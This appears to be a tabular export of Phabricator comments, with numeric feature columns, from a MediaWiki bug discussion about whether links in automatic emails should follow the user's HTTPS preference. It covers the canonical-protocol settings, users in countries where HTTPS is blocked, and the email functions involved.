1325072,Links in MediaWiki emails should respect the user's https preference,"@Shizhao: With which version of MediaWiki did you test this, on which exact website?",,,1564389400,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,True,,,308,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,18.0,6.0,6.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.352941176470588,0.9411764705882353,"SCREEN_NAME: With which version of MediaWiki did you test this, on which exact website?"
1324204,Links in MediaWiki emails should respect the user's https preference,The problem is no longer present,,,1564114000,,PHID-USER-xxkolqnkrj3sfwdouu7j,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,False,,,308,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,4.5,1.0,The problem is no longer present
738799,Links in MediaWiki emails should respect the user's https preference,"The ""Phabricator_maintenance"" user re-added the project HTTPS. Then herald re-added Traffic and Operations. This is not correct, the ticket is nowadays just about Mediawiki itself. I don't want to get into edit warr-ing over the tags.",,,1475585519,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,True,,,161,True,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,10.0,12.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,18.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,12.0,10.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.98,0.78,"The ""Phabricator_maintenance"" user re-added the project HTTPS. Then herald re-added Traffic and Operations. This is not correct, the ticket is nowadays just about Mediawiki itself. I don't want to get into edit warr-ing over the tags."
673475,Links in MediaWiki emails should respect the user's https preference,"right, HTTPS implies Traffic, have to remove all 3....",,,1464893231,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,True,,,144,True,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.9166666666666666,"right, HTTPS implies Traffic, have to remove all 3...."
673471,Links in MediaWiki emails should respect the user's https preference,"This is apparently now about MediaWiki, not about Wikimedia emails (as we're all-HTTPS), so I'm removing the Ops/Traffic tags.",,,1464893134,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,True,,,144,True,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,7.0,0.0,17.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,23.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,17.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.6,0.9333333333333333,"This is apparently now about MediaWiki, not about Wikimedia emails (as we're all-HTTPS), so I'm removing the Ops/Traffic tags."
507412,Links in MediaWiki emails should respect the user's https preference,">>! In T41676#1534806, @Mdann52 wrote:
> Unless this includes user-sent emails (which we can't enforce), I can't see what needs attention here...

What Krenair is saying is that this should be fixed for all MediaWiki installations out there, regardless of the protocol combo they use, not just WMF ones.",,,1439474849,,PHID-USER-2trxtywh5ma4onasf4kq,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,False,,,102,True,3.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,18.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,12.0,9.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.205882352941177,0.9117647058823529,"QUOTE
QUOTE

What Krenair is saying is that this should be fixed for all MediaWiki installations out there, regardless of the protocol combo they use, not just WMF ones."
507391,Links in MediaWiki emails should respect the user's https preference,">>! In T41676#1534806, @Mdann52 wrote:
> From the emails I've received from Wikipedia, this is the case, I may be misreading though...

Yes, because Wikipedia now uses https as the canonical protocol, and you can't get to it via http.",,,1439473229,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,True,,,102,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,15.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6153846153846154,0.9230769230769231,"QUOTE
QUOTE

Yes, because Wikipedia now uses https as the canonical protocol, and you can't get to it via http."
507388,Links in MediaWiki emails should respect the user's https preference,"From the emails I've received from Wikipedia, this is the case, I may be misreading though...
Unless this includes user-sent emails (which we can't enforce), I can't see what needs attention here...
",,,1439473061,,PHID-USER-lumvg23bxmfbvekr2fbo,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,False,,,102,True,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,2.0,0.0,7.0,0.0,0.0,0.0,9.0,2.0,9.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,4.0,4.0,13.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,9.0,7.0,2.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,3.6739130434782608,0.7608695652173914,"From the emails I've received from Wikipedia, this is the case, I may be misreading though...
Unless this includes user-sent emails (which we can't enforce), I can't see what needs attention here...
"
507386,Links in MediaWiki emails should respect the user's https preference,No.,,,1439472602,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,True,,,102,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,No.
507381,Links in MediaWiki emails should respect the user's https preference,Fixed with move to https only,,,1439472222,,PHID-USER-lumvg23bxmfbvekr2fbo,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,False,,,102,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Fixed with move to https only
476145,Links in MediaWiki emails should respect the user's https preference,">>! In T41676#1372691, @jayvdb wrote:
> As my emails from Wikimedia now contain https://, and I am guessing that MediaWiki uses http:// in emails that only have a http server, I think this is now either fixed or WONTFIX-able.

That's because the canonical URL changed. This is till a valid MediaWiki issue.",,,1434524523,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,True,,,94,True,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,30.0,10.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9,"QUOTE
QUOTE

That's because the canonical URL changed. This is till a valid MediaWiki issue."
476109,Links in MediaWiki emails should respect the user's https preference,"As my emails from Wikimedia now contain https://, and I am guessing that MediaWiki uses http:// in emails that only have a http server, I think this is now either fixed or WONTFIX-able.",,,1434512652,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,True,,,94,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,8.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,3.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,5.0,19.0,3.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,11.0,8.0,0.0,0.0,0.0,8.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.972972972972973,0.8918918918918919,"As my emails from Wikimedia now contain URL and I am guessing that MediaWiki uses http:// in emails that only have a http server, I think this is now either fixed or WONTFIX-able."
204421,Links in MediaWiki emails should respect the user's https preference,"Since bug 29898 was fixed, isn't this an easy MediaWiki bug? We already vary emails based on preferences (particularly language), it's trivial to modify (or wrap) getCanonicalURL.",,,1400654784,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,True,,,38,True,0.0,0.0,0.0,3.0,3.0,5.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,8.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,8.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,5.0,8.0,5.0,3.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.135135135135135,0.8918918918918919,"Since bug 29898 was fixed, isn't this an easy MediaWiki bug? We already vary emails based on preferences (particularly language), it's trivial to modify (or wrap) getCanonicalURL."
204415,Links in MediaWiki emails should respect the user's https preference,"With the present configuration on Wikimedia wikis, this could be almost WONTFIXed; but in the details privacy-conscious users will prefer https links from the beggining: if you have any http link there is a chance you get spied (security), and they also expect a https link (usability). So I am in favour of keeping this bug open until proper resolution, although this one will be quite complicated.",,,1386708251,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,False,,,14,True,1.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,1.0,1.0,2.0,0.0,0.0,1.0,1.0,1.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,6.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,6.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.0,11.0,4.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,4.1625,0.8,"With the present configuration on Wikimedia wikis, this could be almost WONTFIXed; but in the details privacy-conscious users will prefer https links from the beggining: if you have any http link there is a chance you get spied (security), and they also expect a https link (usability). So I am in favour of keeping this bug open until proper resolution, although this one will be quite complicated."
204408,Links in MediaWiki emails should respect the user's https preference,"(In reply to comment #12)
> So should this ticket be closed as WONTFIX as there are no  plans to make the
> links in the email itself http:// ?

Do you mean ""to make the links in the email itself https://""?

I don't necessarily think it should be WONTFIXed.  I was just pointing out that if they do visit/attempt to visit HTTP, it should behave correctly.

We still may want to change emails to be HTTPS at some point.  This particularly makes sense for emails targeted towards logged in users, such as watchlist and Echo (including talk page) notifications, and email verification.  This is logical since logged in users are now sent to HTTPS while logged in by default.

However, there are issues that complicate things. E.g. in blacklisted countries (China, Iran), logged in users are not HTTPS by default, and there is also a user preference (""Always use a secure connection when logged in"") that can be turned off.",,,1386703222,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,False,,,14,True,0.5,0.0,0.0,1.0,1.0,1.5,0.5,0.0,0.0,0.5,6.0,0.5,0.0,0.0,1.0,1.5,0.0,6.5,14.0,0.0,2.5,1.0,1.0,0.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,5.5,1.5,1.5,1.0,0.5,0.0,0.0,1.0,0.0,0.0,0.5,0.5,1.5,0.0,0.5,0.0,0.5,0.0,13.5,1.0,1.0,0.5,1.0,0.0,0.5,0.0,0.0,1.0,0.0,1.0,1.5,0.0,0.5,0.0,1.0,0.0,2.0,5.0,11.0,2.5,1.5,3.5,0.0,0.0,0.0,0.5,6.5,0.5,0.5,0.0,4.0,14.0,4.5,0.0,1.5,0.0,4.0,0.0,1.5,1.0,0.5,1.0,0.0,0.0,0.0,3.8352272727272725,0.7045454545454546,"(In reply to comment #12)
QUOTE
QUOTE

Do you mean ""to make the links in the email itself URL

I don't necessarily think it should be WONTFIXed.  I was just pointing out that if they do visit/attempt to visit HTTP, it should behave correctly.

We still may want to change emails to be HTTPS at some point.  This particularly makes sense for emails targeted towards logged in users, such as watchlist and Echo (including talk page) notifications, and email verification.  This is logical since logged in users are now sent to HTTPS while logged in by default.

However, there are issues that complicate things. E.g. in blacklisted countries (China, Iran), logged in users are not HTTPS by default, and there is also a user preference (""Always use a secure connection when logged in"") that can be turned off."
204401,Links in MediaWiki emails should respect the user's https preference,"(In reply to comment #11)
> There are always going to be HTTP links to Wikipedia, from search engines,
> social networks, etc.  Thus, we need to make sure (on our side) logged in
> users
> are redirected to HTTPS in such cases.

Being logged in and clicking a http:// link in a MediaWiki notification email I do get redirected to https://.

So should this ticket be closed as WONTFIX as there are no  plans to make the links in the email itself http:// ?",,,1386697735,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,True,,,14,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,15.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,18.0,0.0,2.0,10.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,3.0,15.0,10.0,2.0,0.0,0.0,3.0,0.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,3.7049180327868854,0.7377049180327869,"(In reply to comment #11)
QUOTE
QUOTE
QUOTE
QUOTE

Being logged in and clicking a http:// link in a MediaWiki notification email I do get redirected to URL

So should this ticket be closed as WONTFIX as there are no  plans to make the links in the email itself http:// ?"
204394,Links in MediaWiki emails should respect the user's https preference,"(In reply to comment #10)
> Same problem with Wikidata notification emails. Lack of https leads to some
> people being logged out when following the link. As soon as they press
> another
> link https is restored and their logged back in. See:
> https://www.wikidata.org/wiki/Wikidata:Project_chat#Staying_logged_in

That sounds like a separate issue, bug 53538.

There are always going to be HTTP links to Wikipedia, from search engines, social networks, etc.  Thus, we need to make sure (on our side) logged in users are redirected to HTTPS in such cases.

Chris said there ""The remaining fixes will be deployed with 1.22wmf16"".  1.22wmf16 hit all non-Wikipedia sites (including Wikidata) today, so it may be fixed.",,,1378761642,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,False,,,1,True,1.0,0.0,0.0,3.0,0.0,5.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.5,1.5,0.0,1.0,8.5,0.0,2.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,2.5,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,4.0,10.0,0.0,1.0,3.0,0.0,0.0,0.0,0.5,4.0,0.0,3.0,0.0,2.5,8.5,5.5,0.0,2.0,0.0,2.5,0.0,0.0,0.5,0.0,2.5,0.0,0.0,1.0,3.5705387205387202,0.7712121212121212,"(In reply to comment #10)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That sounds like a separate issue, bug 53538.

There are always going to be HTTP links to Wikipedia, from search engines, social networks, etc.  Thus, we need to make sure (on our side) logged in users are redirected to HTTPS in such cases.

Chris said there ""The remaining fixes will be deployed with 1.22wmf16"".  1.22wmf16 hit all non-Wikipedia sites (including Wikidata) today, so it may be fixed."
204387,Links in MediaWiki emails should respect the user's https preference,Same problem with Wikidata notification emails. Lack of https leads to some people being logged out when following the link. As soon as they press another link https is restored and their logged back in. See: https://www.wikidata.org/wiki/Wikidata:Project_chat#Staying_logged_in,,,1378760730,,PHID-USER-so3rflcuh7on3wiyd6ou,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,False,,,1,True,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,15.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,15.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.2926829268292686,0.8780487804878049,Same problem with Wikidata notification emails. Lack of https leads to some people being logged out when following the link. As soon as they press another link https is restored and their logged back in. See: URL
204379,Links in MediaWiki emails should respect the user's https preference,"Some days ago I tried to census the automatic emails with links in MediaWiki (which are concerned by this bug):
1. email confirmation emails: links to confirm or invalidate the email address (User::sendConfirmationMail with messages 'confirmemail_body*', uses Title::getCanonicalURL),
2. password reminder: general link to the wiki (SpecialPasswordReset::onSubmit with messages 'passwordreset-emailtext-*', uses Title::getCanonicalURL; previously LoginForm::mailPasswordInternal with message 'passwordremindertext', uses $wgCanonicalServer),
3. initial password email: general link to the wiki (LoginForm::mailPasswordInternal with message 'createaccount-text', uses $wgCanonicalServer)
4. new message email: link to talk page (EmailNotification::composeCommonMailtext, uses Title::getCanonicalURL, this function is designed to make the message as most as possible recipient-neutral for performance reasons),
5. watchlist emails: links to pages and diffs (idem to the new message email),
6. user to user email: but no link in the current messages.

The classical function to create the full non-relative URLs in these functions is Title::getCanonicalURL, which uses by default a protocol PROTO_CANONICAL, id est (i.e.) the protocol defined by wgCanonicalServer. All public Wikimedia wikis have for now http as canonical protocol (and probably a lot of MediaWiki wikis also).

One non-satisfactory solution would be to simply switch the canonical protocol to HTTPS, but this would make emails received by Chinese users non-functionnal for them (this choice is currently discussed on wikimedia-l for the Wikimedia projects, but given this bug is related to MediaWiki, the solution should be a bit more general). It could be added for #1 #2 #3 an other argument in Title::getCanonicalURL to give the mailer functions an opportunity to have their own decision logic, based on the recipient; for instance to take into account $user->getBooleanPreference('prefershttps') [note: current discussion about this bug on wikitech-l highlights the fact that this preference is on for https-blocked users in China; it’s just hidden to the user].

For #4 #5 it is more difficult (if possible) to include any recipient-based logic since the messages are designed to be recipient-neutral to permit bulk mailing (and it is very important to speed as much as possible the sending for bulk mails because the volumes are high -- I administer a ML server). I don’t see a solution apart a rewrite of the function EmailNotification::composeCommonMailtext to create two versions of a same message (HTTP and HTTPS), although this would imply performance issues on major wikis.

For #3 the initial password email (user account created by an administrator) and the initial email confirmation (email registrated in the new account form), I have doubts if the user preference should be taken into account since the user never logged in, so probably the better solution is to follow the canonical protocol.

To conclude:
A) resolve this bug for #1 and #2 could be easily done, but it could block/make more difficult the reception of emails for https-blocked users (they will have to change the protocol);
B) I find not really justified the implementation of this bug for any message sent to the user before his/her first connection (e.g. #3);
C) the resolution of this bug is quite challenging (although possible) for watchlist emails and any other impersonal bulk email (#4 and #5).",,,1378332519,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,False,,,1,True,0.8571428571428571,0.0,0.14285714285714285,1.1428571428571428,0.14285714285714285,7.428571428571429,1.2857142857142858,0.14285714285714285,0.2857142857142857,0.2857142857142857,2.0,1.2857142857142858,0.0,0.0,0.0,0.8571428571428571,0.0,3.857142857142857,12.285714285714286,0.0,2.2857142857142856,0.2857142857142857,0.2857142857142857,0.14285714285714285,0.2857142857142857,0.14285714285714285,0.0,0.0,0.42857142857142855,0.5714285714285714,0.0,3.5714285714285716,1.0,0.7142857142857143,0.2857142857142857,0.0,0.0,0.2857142857142857,0.14285714285714285,0.14285714285714285,0.14285714285714285,0.7142857142857143,0.2857142857142857,2.857142857142857,0.14285714285714285,0.2857142857142857,0.14285714285714285,0.0,0.0,18.714285714285715,0.2857142857142857,1.4285714285714286,0.14285714285714285,1.0,0.0,0.7142857142857143,0.0,0.0,0.42857142857142855,0.0,0.14285714285714285,0.42857142857142855,0.14285714285714285,0.0,0.0,0.0,0.0,6.142857142857143,2.5714285714285716,5.714285714285714,1.1428571428571428,1.8571428571428572,9.0,0.0,0.0,0.0,1.5714285714285714,4.285714285714286,0.0,2.7142857142857144,0.0,2.142857142857143,12.285714285714286,2.5714285714285716,0.0,1.2857142857142858,0.0,2.142857142857143,0.0,0.2857142857142857,1.4285714285714286,0.14285714285714285,0.0,0.5714285714285714,0.14285714285714285,0.8571428571428571,4.411889097744361,0.6911027568922307,"Some days ago I tried to census the automatic emails with links in MediaWiki (which are concerned by this bug):
1. email confirmation emails: links to confirm or invalidate the email address (User::sendConfirmationMail with messages 'confirmemail_body*', uses Title::getCanonicalURL),
2. password reminder: general link to the wiki (SpecialPasswordReset::onSubmit with messages 'passwordreset-emailtext-*', uses Title::getCanonicalURL; previously LoginForm::mailPasswordInternal with message 'passwordremindertext', uses $wgCanonicalServer),
3. initial password email: general link to the wiki (LoginForm::mailPasswordInternal with message 'createaccount-text', uses $wgCanonicalServer)
4. new message email: link to talk page (EmailNotification::composeCommonMailtext, uses Title::getCanonicalURL, this function is designed to make the message as most as possible recipient-neutral for performance reasons),
5. watchlist emails: links to pages and diffs (idem to the new message email),
6. user to user email: but no link in the current messages.

The classical function to create the full non-relative URLs in these functions is Title::getCanonicalURL, which uses by default a protocol PROTO_CANONICAL, id est (i.e.) the protocol defined by wgCanonicalServer. All public Wikimedia wikis have for now http as canonical protocol (and probably a lot of MediaWiki wikis also).

One non-satisfactory solution would be to simply switch the canonical protocol to HTTPS, but this would make emails received by Chinese users non-functionnal for them (this choice is currently discussed on wikimedia-l for the Wikimedia projects, but given this bug is related to MediaWiki, the solution should be a bit more general). It could be added for #1 #2 #3 an other argument in Title::getCanonicalURL to give the mailer functions an opportunity to have their own decision logic, based on the recipient; for instance to take into account $user->getBooleanPreference('prefershttps') [note: current discussion about this bug on wikitech-l highlights the fact that this preference is on for https-blocked users in China; it’s just hidden to the user].

For #4 #5 it is more difficult (if possible) to include any recipient-based logic since the messages are designed to be recipient-neutral to permit bulk mailing (and it is very important to speed as much as possible the sending for bulk mails because the volumes are high -- I administer a ML server). I don’t see a solution apart a rewrite of the function EmailNotification::composeCommonMailtext to create two versions of a same message (HTTP and HTTPS), although this would imply performance issues on major wikis.

